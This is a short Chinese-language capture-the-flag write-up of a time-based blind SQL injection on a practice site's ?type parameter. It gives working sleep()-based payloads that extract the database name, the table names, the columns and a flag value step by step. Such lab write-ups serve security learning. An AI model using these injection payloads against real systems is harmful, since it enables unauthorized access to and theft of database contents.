无法利用页面来判断SQL注入是否能正确注入,所以考虑用时间盲注
因为一打开页面,会发现提示使用?type,所以可以用此语句来测试一下是否能进行时间盲注
发现可以进行时间盲注
用?type=1 and if(length(database())=$0$,sleep(5),null) --+语句可以得知数据库的长度
可得知数据库长度为12
运用?type=1 and if((substr(database(),$1$,1)='$a$'),sleep(5),null) --+可得数据库的名字
即数据库名为pentesterlab
用?type=1 and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),$1$,1)='$a$',sleep(5),null) --+语句可得第一个表名为comment
用同样的方法得到第二份表为flag
第三份表为goods
第四份表为user
查第五份表时发现没有5秒的延时,所以总共只有4份表
由名字推测第二份表比较像我们所需要的表,先查第二份表
用?type=1 and if(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),$1$,1)='$a$',sleep(5),null) --+
第一份列名为id
第二份列名为flag
因为没有延时,所以只有两个列名
用?type=1 and if(substr((select flag from flag limit 0,1),$1$,1)='$a$',sleep(5),null) --+语句查询具体数据
可得flag为mozhe1
返回也会输入验证便可得flag